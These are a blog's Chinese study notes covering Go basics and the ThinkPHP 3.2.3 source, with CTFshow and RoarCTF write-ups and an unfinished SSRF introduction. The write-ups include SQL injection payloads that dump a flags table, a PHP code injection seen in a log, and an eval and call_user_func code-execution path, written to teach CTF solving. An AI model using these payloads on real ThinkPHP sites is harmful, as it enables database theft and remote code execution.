_tmp_time = eval(time)
if _tmp_time <0.0005:
print(i,time)
ans += i
print(ans)
# print(timemap[timelist.sort(reverse=True)[0]])

Go编程学习记录

go mod

Go.mod是Golang1.11版本新引入的官方包管理工具用于解决之前没有地方记录依赖包具体版本的问题,方便依赖包的管理。

Go.mod其实就是一个Modules,关于Modules的官方定义为:

Modules是相关Go包的集合,是源代码交换和版本控制的单元。go命令直接支持使用Modules,包括记录和解析对其他模块的依赖性。Modules替换旧的基于GOPATH的方法,来指定使用哪些源文件。

Modules和传统的GOPATH不同,不需要包含例如src,bin这样的子目录,一个源代码目录甚至是空目录都可以作为Modules,只要其中包含有go.mod文件。

go tidy

fmt 输入输出

1
2
3
4
5
6
7
8
9
10

fmt.Printf(format string, a ...interface{}):类似于 C 语言中的 printf 函数,可以格式化输出字符串。
fmt.Println(a ...interface{}):将参数 a 按顺序输出到控制台,并在最后追加一个换行符。
fmt.Sprintf(format string, a ...interface{}):将参数 a 按指定格式 format 进行格式化,并以字符串形式返回结果。
fmt.Errorf(format string, a ...interface{}):创建一个新的 errors 错误实例,并将错误信息按指定格式 format 进行格式化。
fmt.Scan(a ...interface{}):从标准输入中读取参数 a,并将其赋值给变量。
fmt.Scanf(format string, a ...interface{}):从标准输入中按照指定格式 format 读取参数 a,并将其赋值给变量。
fmt.Sprintln(a ...interface{}):将参数 a 按顺序转换为字符串并添加换行符,返回结果字符串。
fmt.Errorf(format string, a ...interface{}):将参数 a 按指定格式 format 进行格式化,并返回一个 error 类型的错误实例。

  
 Go

ThinkPHP框架 3.2.3学习记录

ThinkPHP 3.2.3

目录结构

1
2
3
4
5
├─index.php       入口文件
├─README.md README文件
├─Application 应用目录
├─Public 资源文件目录
└─ThinkPHP 框架目录

其中框架目录ThinkPHP的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
├─ThinkPHP 框架系统目录(可以部署在非web目录下面)
│ ├─Common 核心公共函数目录
│ ├─Conf 核心配置目录
│ ├─Lang 核心语言包目录
│ ├─Library 框架类库目录
│ │ ├─Think 核心Think类库包目录
│ │ ├─Behavior 行为类库目录
│ │ ├─Org Org类库包目录
│ │ ├─Vendor 第三方类库目录
│ │ ├─ ... 更多类库目录
│ ├─Mode 框架应用模式目录
│ ├─Tpl 系统模板目录
│ ├─LICENSE.txt 框架授权协议文件
│ ├─logo.png 框架LOGO文件
│ ├─README.txt 框架README文件
│ └─ThinkPHP.php 框架入口文件

入口文件

入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模 块、控制器和操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2014 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

// 应用入口文件

// 检测PHP环境
if(version_compare(PHP_VERSION,'5.3.0','<')) die('require PHP > 5.3.0 !');

// 开启调试模式 建议开发阶段开启 部署阶段注释或者设为false
define('APP_DEBUG',True);

// 定义应用目录
define('APP_PATH','./Application/');

// 引入ThinkPHP入口文件
require './ThinkPHP/ThinkPHP.php';

// 亲^_^ 后面不需要任何代码了 就是如此简单

看到后面引用 ./ThinkPHP/ThinkPHP.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK IT ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2014 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

//----------------------------------
// ThinkPHP公共入口文件
//----------------------------------

// 记录开始运行时间
$GLOBALS['_beginTime'] = microtime(TRUE);
// 记录内存初始使用
define('MEMORY_LIMIT_ON',function_exists('memory_get_usage'));
if(MEMORY_LIMIT_ON) $GLOBALS['_startUseMems'] = memory_get_usage();

// 版本信息
const THINK_VERSION = '3.2.3';

// URL 模式定义
const URL_COMMON = 0; //普通模式
const URL_PATHINFO = 1; //PATHINFO模式
const URL_REWRITE = 2; //REWRITE模式
const URL_COMPAT = 3; // 兼容模式

// 类文件后缀
const EXT = '.class.php';

// 系统常量定义
defined('THINK_PATH') or define('THINK_PATH', __DIR__.'/');
defined('APP_PATH') or define('APP_PATH', dirname($_SERVER['SCRIPT_FILENAME']).'/');
defined('APP_STATUS') or define('APP_STATUS', ''); // 应用状态 加载对应的配置文件
defined('APP_DEBUG') or define('APP_DEBUG', false); // 是否调试模式

if(function_exists('saeAutoLoader')){// 自动识别SAE环境
defined('APP_MODE') or define('APP_MODE', 'sae');
defined('STORAGE_TYPE') or define('STORAGE_TYPE', 'Sae');
}else{
defined('APP_MODE') or define('APP_MODE', 'common'); // 应用模式 默认为普通模式
defined('STORAGE_TYPE') or define('STORAGE_TYPE', 'File'); // 存储类型 默认为File
}

defined('RUNTIME_PATH') or define('RUNTIME_PATH', APP_PATH.'Runtime/'); // 系统运行时目录
defined('LIB_PATH') or define('LIB_PATH', realpath(THINK_PATH.'Library').'/'); // 系统核心类库目录
defined('CORE_PATH') or define('CORE_PATH', LIB_PATH.'Think/'); // Think类库目录
defined('BEHAVIOR_PATH')or define('BEHAVIOR_PATH', LIB_PATH.'Behavior/'); // 行为类库目录
defined('MODE_PATH') or define('MODE_PATH', THINK_PATH.'Mode/'); // 系统应用模式目录
defined('VENDOR_PATH') or define('VENDOR_PATH', LIB_PATH.'Vendor/'); // 第三方类库目录
defined('COMMON_PATH') or define('COMMON_PATH', APP_PATH.'Common/'); // 应用公共目录
defined('CONF_PATH') or define('CONF_PATH', COMMON_PATH.'Conf/'); // 应用配置目录
defined('LANG_PATH') or define('LANG_PATH', COMMON_PATH.'Lang/'); // 应用语言目录
defined('HTML_PATH') or define('HTML_PATH', APP_PATH.'Html/'); // 应用静态目录
defined('LOG_PATH') or define('LOG_PATH', RUNTIME_PATH.'Logs/'); // 应用日志目录
defined('TEMP_PATH') or define('TEMP_PATH', RUNTIME_PATH.'Temp/'); // 应用缓存目录
defined('DATA_PATH') or define('DATA_PATH', RUNTIME_PATH.'Data/'); // 应用数据目录
defined('CACHE_PATH') or define('CACHE_PATH', RUNTIME_PATH.'Cache/'); // 应用模板缓存目录
defined('CONF_EXT') or define('CONF_EXT', '.php'); // 配置文件后缀
defined('CONF_PARSE') or define('CONF_PARSE', ''); // 配置文件解析方法
defined('ADDON_PATH') or define('ADDON_PATH', APP_PATH.'Addon');

// 系统信息
if(version_compare(PHP_VERSION,'5.4.0','<')) {
ini_set('magic_quotes_runtime',0);
define('MAGIC_QUOTES_GPC',get_magic_quotes_gpc()? true : false);
}else{
define('MAGIC_QUOTES_GPC',false);
}
define('IS_CGI',(0 === strpos(PHP_SAPI,'cgi') || false !== strpos(PHP_SAPI,'fcgi')) ? 1 : 0 );
define('IS_WIN',strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_CLI',PHP_SAPI=='cli'? 1 : 0);

if(!IS_CLI) {
// 当前文件名
if(!defined('_PHP_FILE_')) {
if(IS_CGI) {
//CGI/FASTCGI模式下
$_temp = explode('.php',$_SERVER['PHP_SELF']);
define('_PHP_FILE_', rtrim(str_replace($_SERVER['HTTP_HOST'],'',$_temp[0].'.php'),'/'));
}else {
define('_PHP_FILE_', rtrim($_SERVER['SCRIPT_NAME'],'/'));
}
}
if(!defined('__ROOT__')) {
$_root = rtrim(dirname(_PHP_FILE_),'/');
define('__ROOT__', (($_root=='/' || $_root=='\\')?'':$_root));
}
}

// 加载核心Think类
require CORE_PATH.'Think'.EXT;
// 应用初始化
Think\Think::start();

这里主要是设置一些环境变量,然后加载require CORE_PATH.'Think'.EXT;

核心文件主要是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
["core"]=>
array(11) {
[0]=>
string(45) "E:\XP\WWW\think\ThinkPHP/Common/functions.php"
[1]=>
string(40) "./Application/Common/Common/function.php"
[2]=>
string(53) "E:\XP\WWW\think\ThinkPHP\Library/Think/Hook.class.php"
[3]=>
string(52) "E:\XP\WWW\think\ThinkPHP\Library/Think/App.class.php"
[4]=>
string(59) "E:\XP\WWW\think\ThinkPHP\Library/Think/Dispatcher.class.php"
[5]=>
string(54) "E:\XP\WWW\think\ThinkPHP\Library/Think/Route.class.php"
[6]=>
string(59) "E:\XP\WWW\think\ThinkPHP\Library/Think/Controller.class.php"
[7]=>
string(53) "E:\XP\WWW\think\ThinkPHP\Library/Think/View.class.php"
[8]=>
string(69) "E:\XP\WWW\think\ThinkPHP\Library/Behavior/BuildLiteBehavior.class.php"
[9]=>
string(73) "E:\XP\WWW\think\ThinkPHP\Library/Behavior/ParseTemplateBehavior.class.php"
[10]=>
string(74) "E:\XP\WWW\think\ThinkPHP\Library/Behavior/ContentReplaceBehavior.class.php"
}

ThinkPHP框架内解析路由的文件在Route.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK IT ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2014 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------
namespace Think;
/**
* ThinkPHP路由解析类
*/
class Route {

// 路由检测
public static function check(){
$depr = C('URL_PATHINFO_DEPR');
$regx = preg_replace('/\.'.__EXT__.'$/i','',trim($_SERVER['PATH_INFO'],$depr));
// 分隔符替换 确保路由定义使用统一的分隔符
if('/' != $depr){
$regx = str_replace($depr,'/',$regx);
}
// URL映射定义(静态路由)
$maps = C('URL_MAP_RULES');
if(isset($maps[$regx])) {
$var = self::parseUrl($maps[$regx]);
$_GET = array_merge($var, $_GET);
return true;
}
// 动态路由处理
$routes = C('URL_ROUTE_RULES');
if(!empty($routes)) {
foreach ($routes as $rule=>$route){
if(is_numeric($rule)){
// 支持 array('rule','adddress',...) 定义路由
$rule = array_shift($route);
}
if(is_array($route) && isset($route[2])){
// 路由参数
$options = $route[2];
if(isset($options['ext']) && __EXT__ != $options['ext']){
// URL后缀检测
continue;
}
if(isset($options['method']) && REQUEST_METHOD != strtoupper($options['method'])){
// 请求类型检测
continue;
}
// 自定义检测
if(!empty($options['callback']) && is_callable($options['callback'])) {
if(false === call_user_func($options['callback'])) {
continue;
}
}
}
if(0===strpos($rule,'/') && preg_match($rule,$regx,$matches)) { // 正则路由
if($route instanceof \Closure) {
// 执行闭包
$result = self::invokeRegx($route, $matches);
// 如果返回布尔值 则继续执行
return is_bool($result) ? $result : exit;
}else{
return self::parseRegex($matches,$route,$regx);
}
}else{ // 规则路由
$len1 = substr_count($regx,'/');
$len2 = substr_count($rule,'/');
if($len1>=$len2 || strpos($rule,'[')) {
if('$' == substr($rule,-1,1)) {// 完整匹配
if($len1 != $len2) {
continue;
}else{
$rule = substr($rule,0,-1);
}
}
$match = self::checkUrlMatch($regx,$rule);
if(false !== $match) {
if($route instanceof \Closure) {
// 执行闭包
$result = self::invokeRule($route, $match);
// 如果返回布尔值 则继续执行
return is_bool($result) ? $result : exit;
}else{
return self::parseRule($rule,$route,$regx);
}
}
}
}
}
}
return false;
}

// 检测URL和规则路由是否匹配
private static function checkUrlMatch($regx,$rule) {
$m1 = explode('/',$regx);
$m2 = explode('/',$rule);
$var = array();
foreach ($m2 as $key=>$val){
if(0 === strpos($val,'[:')){
$val = substr($val,1,-1);
}

if(':' == substr($val,0,1)) {// 动态变量
if($pos = strpos($val,'|')){
// 使用函数过滤
$val = substr($val,1,$pos-1);
}
if(strpos($val,'\\')) {
$type = substr($val,-1);
if('d'==$type) {
if(isset($m1[$key]) && !is_numeric($m1[$key]))
return false;
}
$name = substr($val, 1, -2);
}elseif($pos = strpos($val,'^')){
$array = explode('-',substr(strstr($val,'^'),1));
if(in_array($m1[$key],$array)) {
return false;
}
$name = substr($val, 1, $pos - 1);
}else{
$name = substr($val, 1);
}
$var[$name] = isset($m1[$key])?$m1[$key]:'';
}elseif(0 !== strcasecmp($val,$m1[$key])){
return false;
}
}
// 成功匹配后返回URL中的动态变量数组
return $var;
}

// 解析规范的路由地址
// 地址格式 [控制器/操作?]参数1=值1&参数2=值2...
private static function parseUrl($url) {
echo "-------------------------------";
var_dump($url);
$var = array();
if(false !== strpos($url,'?')) { // [控制器/操作?]参数1=值1&参数2=值2...
$info = parse_url($url);
$path = explode('/',$info['path']);
parse_str($info['query'],$var);
}elseif(strpos($url,'/')){ // [控制器/操作]
$path = explode('/',$url);
}else{ // 参数1=值1&参数2=值2...
parse_str($url,$var);
}
if(isset($path)) {
$var[C('VAR_ACTION')] = array_pop($path);
if(!empty($path)) {
$var[C('VAR_CONTROLLER')] = array_pop($path);
}
if(!empty($path)) {
$var[C('VAR_MODULE')] = array_pop($path);
}
}
return $var;
}

// 解析规则路由
// '路由规则'=>'[控制器/操作]?额外参数1=值1&额外参数2=值2...'
// '路由规则'=>array('[控制器/操作]','额外参数1=值1&额外参数2=值2...')
// '路由规则'=>'外部地址'
// '路由规则'=>array('外部地址','重定向代码')
// 路由规则中 :开头 表示动态变量
// 外部地址中可以用动态变量 采用 :1 :2 的方式
// 'news/:month/:day/:id'=>array('News/read?cate=1','status=1'),
// 'new/:id'=>array('/new.php?id=:1',301), 重定向
private static function parseRule($rule,$route,$regx) {
// 获取路由地址规则
$url = is_array($route)?$route[0]:$route;
// 获取URL地址中的参数
$paths = explode('/',$regx);
// 解析路由规则
$matches = array();
$rule = explode('/',$rule);
foreach ($rule as $item){
$fun = '';
if(0 === strpos($item,'[:')){
$item = substr($item,1,-1);
}
if(0===strpos($item,':')) { // 动态变量获取
if($pos = strpos($item,'|')){
// 支持函数过滤
$fun = substr($item,$pos+1);
$item = substr($item,0,$pos);
}
if($pos = strpos($item,'^') ) {
$var = substr($item,1,$pos-1);
}elseif(strpos($item,'\\')){
$var = substr($item,1,-2);
}else{
$var = substr($item,1);
}
$matches[$var] = !empty($fun)? $fun(array_shift($paths)) : array_shift($paths);
}else{ // 过滤URL中的静态变量
array_shift($paths);
}
}

if(0=== strpos($url,'/') || 0===strpos($url,'http')) { // 路由重定向跳转
if(strpos($url,':')) { // 传递动态参数
$values = array_values($matches);
$url = preg_replace_callback('/:(\d+)/', function($match) use($values){ return $values[$match[1] - 1]; }, $url);
}
header("Location: $url", true,(is_array($route) && isset($route[1]))?$route[1]:301);
exit;
}else{
// 解析路由地址
$var = self::parseUrl($url);
// 解析路由地址里面的动态参数
$values = array_values($matches);
foreach ($var as $key=>$val){
if(0===strpos($val,':')) {
$var[$key] = $values[substr($val,1)-1];
}
}
$var = array_merge($matches,$var);
// 解析剩余的URL参数
if(!empty($paths)) {
preg_replace_callback('/(\w+)\/([^\/]+)/', function($match) use(&$var){ $var[strtolower($match[1])]=strip_tags($match[2]);}, implode('/',$paths));
}
// 解析路由自动传入参数
if(is_array($route) && isset($route[1])) {
if(is_array($route[1])){
$params = $route[1];
}else{
parse_str($route[1],$params);
}
$var = array_merge($var,$params);
}
$_GET = array_merge($var,$_GET);
}
return true;
}

// 解析正则路由
// '路由正则'=>'[控制器/操作]?参数1=值1&参数2=值2...'
// '路由正则'=>array('[控制器/操作]?参数1=值1&参数2=值2...','额外参数1=值1&额外参数2=值2...')
// '路由正则'=>'外部地址'
// '路由正则'=>array('外部地址','重定向代码')
// 参数值和外部地址中可以用动态变量 采用 :1 :2 的方式
// '/new\/(\d+)\/(\d+)/'=>array('News/read?id=:1&page=:2&cate=1','status=1'),
// '/new\/(\d+)/'=>array('/new.php?id=:1&page=:2&status=1','301'), 重定向
private static function parseRegex($matches,$route,$regx) {
// 获取路由地址规则
$url = is_array($route)?$route[0]:$route;
$url = preg_replace_callback('/:(\d+)/', function($match) use($matches){return $matches[$match[1]];}, $url);
if(0=== strpos($url,'/') || 0===strpos($url,'http')) { // 路由重定向跳转
header("Location: $url", true,(is_array($route) && isset($route[1]))?$route[1]:301);
exit;
}else{
// 解析路由地址
$var = self::parseUrl($url);
// 处理函数
foreach($var as $key=>$val){
if(strpos($val,'|')){
list($val,$fun) = explode('|',$val);
$var[$key] = $fun($val);
}
}
// 解析剩余的URL参数
$regx = substr_replace($regx,'',0,strlen($matches[0]));
if($regx) {
preg_replace_callback('/(\w+)\/([^\/]+)/', function($match) use(&$var){
$var[strtolower($match[1])] = strip_tags($match[2]);
}, $regx);
}
// 解析路由自动传入参数
if(is_array($route) && isset($route[1])) {
if(is_array($route[1])){
$params = $route[1];
}else{
parse_str($route[1],$params);
}
$var = array_merge($var,$params);
}
$_GET = array_merge($var,$_GET);
}
return true;
}

// 执行正则匹配下的闭包方法 支持参数调用
static private function invokeRegx($closure, $var = array()) {
$reflect = new \ReflectionFunction($closure);
$params = $reflect->getParameters();
$args = array();
array_shift($var);
foreach ($params as $param){
if(!empty($var)) {
$args[] = array_shift($var);
}elseif($param->isDefaultValueAvailable()){
$args[] = $param->getDefaultValue();
}
}
return $reflect->invokeArgs($args);
}

// 执行规则匹配下的闭包方法 支持参数调用
static private function invokeRule($closure, $var = array()) {
$reflect = new \ReflectionFunction($closure);
$params = $reflect->getParameters();
$args = array();
foreach ($params as $param){
$name = $param->getName();
if(isset($var[$name])) {
$args[] = $var[$name];
}elseif($param->isDefaultValueAvailable()){
$args[] = $param->getDefaultValue();
}
}
return $reflect->invokeArgs($args);
}

}

一些函数

直接看看这个吧ThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法

A快速实例化Action类库

B执行行为类

C配置参数存取方法

D快速实例化Model类库

F快速简单文本数据存取方法

L 语言参数存取方法

M快速高性能实例化模型

R快速远程调用Action类方法

S快速缓存存取方法

U URL动态生成和重定向方法

W 快速Widget输出方法

D函数实例化的是你当前项目的Lib/Model下面的模块。如果该模块不存在的话,直接返回实例化Model的对象(意义就与M()函数相同)。而M只返回,实例化Model的对象。它的$name参数作为数据库的表名来处理对数据库的操作。

路由规则

普通模式

http://localhost/?m=home&c=user&a=login&var=value

m参数表示模块,c参数表示控制器,a参数表示操作(当然这些参数都是可以配置的),后面的表示其他GET参数。

PATHINFO 模式

http://localhost/index.php/home/user/login/var/value/

PATHINFO地址的前三个参数分别表示模块/控制器/操作.

REWRITE模式

http://localhost/home/user/login/var/value

REWRITE模式是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件 index.php,但是需要额外配置WEB服务器的重写规则。

兼容模式

http://localhost/?s=/home/user/login/var/value

其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,可以更改兼容模式变量的名称定义

CTFSHOW

web569

http://localhost/index.php/Home/Index/index/name/123/
http://localhost/index.php?m=Home&c=Index&f=index&name=123
http://localhost/index.php?s=Home/Index/index/name/123
http://localhost/Home/Index/index/name/123/

=> index.php/Admin/Login/ctfshowLogin

web 570

闭包路由,在Common/Conf/config.php

1
2
3
4
5
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)

web 571

Home\Conf\IndexController.class.php下找到代码

1
2
3
4
5
6
7
8
9
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show('balabalabala'.$n.'balabala','utf-8');
}

}

跟进show

1
2
3
protected function show($content,$charset='',$contentType='',$prefix='') {
$this->view->display('',$charset,$contentType,$content,$prefix);
}

继续跟进display

1
2
3
4
5
6
7
8
9
10
11
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}

这里有两个函数,一个fetch和一个render

跟进fetch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}

发现不对劲了,这里:

1
empty($_content)?include $templateFile:eval('?>'.$_content);

非常好eval

web 572

上来提示没有源码,如何获取黑客的蛛丝马迹?

所以是到日志里面读文件,thinkphp的日志路径在/Application/Runtime/Logs/Home/目录下面,所以….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[ 2021-04-15T14:49:32+08:00 ] 127.0.0.1 /index.php?showctf=%3C?php%20phpinfo();?%3E
INFO: [ app_init ] --START--
INFO: Run Behavior\BuildLiteBehavior [ RunTime:0.000039s ]
INFO: [ app_init ] --END-- [ RunTime:0.000738s ]
INFO: [ app_begin ] --START--
INFO: Run Behavior\ReadHtmlCacheBehavior [ RunTime:0.000712s ]
INFO: [ app_begin ] --END-- [ RunTime:0.000868s ]
INFO: [ view_parse ] --START--
INFO: [ template_filter ] --START--
INFO: Run Behavior\ContentReplaceBehavior [ RunTime:0.000071s ]
INFO: [ template_filter ] --END-- [ RunTime:0.000204s ]
INFO: Run Behavior\ParseTemplateBehavior [ RunTime:0.008833s ]
INFO: [ view_parse ] --END-- [ RunTime:0.009135s ]
INFO: [ view_filter ] --START--
INFO: Run Behavior\WriteHtmlCacheBehavior [ RunTime:0.000468s ]
INFO: [ view_filter ] --END-- [ RunTime:0.000591s ]
INFO: [ app_end ] --START--
INFO: Run Behavior\ShowPageTraceBehavior [ RunTime:0.000964s ]
INFO: [ app_end ] --END-- [ RunTime:0.001181s ]

后门都贴到脸上了(

web 573

GitHub Issues 最新版本3.2.3存在order by注入漏洞
修正一处可能的安全隐患

?id[where]=id=-1 union select 1,group_concat(flag4s),3,4 from flags

web 574

加了点小米辣,然后…
?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23

web 575

1
2
3
4
5
6
7
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);

看到这个show我就蠢蠢欲动(

其他地方的一些ThinkPHP题目

[RoarCTF 2019]Simple Upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

乍一看确实无懈可击,啥都拦截了,白名单也用上了

遇事不决,RTFM
直接进行一个手册的读
然后审审框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* 默认上传配置
* @var array
*/
private $config = array(
'mimes' => array(), //允许上传的文件MiMe类型
'maxSize' => 0, //上传的文件大小限制 (0-不做限制)
'exts' => array(), //允许上传的文件后缀
'autoSub' => true, //自动子目录保存文件
'subName' => array('date', 'Y-m-d'), //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组
'rootPath' => './Uploads/', //保存根路径
'savePath' => '', //保存路径
'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组
'saveExt' => '', //文件保存后缀,空则使用原后缀
'replace' => false, //存在同名是否覆盖
'hash' => true, //是否生成hash编码
'callback' => false, //检测文件是否存在回调,如果存在返回文件信息数组
'driver' => '', // 文件上传驱动
'driverConfig' => array(), // 上传驱动配置
);

emmm,找半天,没找到allowExts,感觉emmmm???

尼玛,看了半天. 不过现在一个问题就是文件传上去了该怎么访问?
文件名并不给我

Refence

ThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法
ctfshow ThinkPHP篇—3.2.3

 web
  

CRLF + SSRF

什么是SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成并由服务端发起恶意请求的一个安全漏洞。正是因为恶意请求由服务端发起,而服务端能够请求到与自身相连而与外网隔绝的内部网络系统,所以一般情况下,SSRF的攻击目标是攻击者无法直接访问的内网系统。

SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。

一些前置知识

HTTP协议

在这里,给大家简单的介绍一下我们是怎么通过浏览器上网的

IP

和我们购物时候必须填写地址一样,在网络空间中我们也必须有一个属于自己的地址,而这个地址便是IP地址

IP地址有两大类,是IPv4和IPv6

1
2
3
114.114.114.114                                 //ipv4

2001:0000:0000:0000:0000:25de:0000:cafe //ipv6

v4所有地址已经被分配完毕,所以 有了ipv6这个东西。

又因为ipv6很长,看起来不太美观,于是有了更简洁的写法

  • 每项数字前导的0可以省略,省略后前导数字仍是0则继续,例如下组IPv6是等价的。

      2001:0db8:02de:0000:0000:0000:0000:0e13
      2001:db8:2de:0000:0000:0000:0000:e13
      2001:db8:2de:000:000:000:000:e13
      2001:db8:2de:00:00:00:00:e13
      2001:db8:2de:0:0:0:0:e13
    
  • 可以用双冒号“::”表示一组0或多组连续的0,但只能出现一次:

    • 如果四组数字都是零,可以被省略。遵照以上省略规则,下面这两组IPv6都是相等的。

        2001:db8:2de:0:0:0:0:e13
        2001:db8:2de::e13
      
        2001:0db8:0000:0000:0000:0000:1428:57ab
        2001:0db8:0000:0000:0000::1428:57ab
        2001:0db8:0:0:0:0:1428:57ab
        2001:0db8:0::0:1428:57ab
        2001:0db8::1428:57ab
      
    • 2001::25de::cade 是非法的,因为双冒号出现了两次。它有可能是下种情形之一,造成无法推断。

        2001:0000:0000:0000:0000:25de:0000:cade
        2001:0000:0000:0000:25de:0000:0000:cade
        2001:0000:0000:25de:0000:0000:0000:cade
        2001:0000:25de:0000:0000:0000:0000:cade
      

      如果这个地址实际上是IPv4的地址,后32位可以用10进制数表示;因此::ffff:192.168.89.9 相等于::ffff:c0a8:5909。

Hosts文件

Hosts文件是一个没有扩展名的操作系统文件,以表的形式存储了主机名和IP地址的映射关系Hosts又称host table,译为“主机表”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
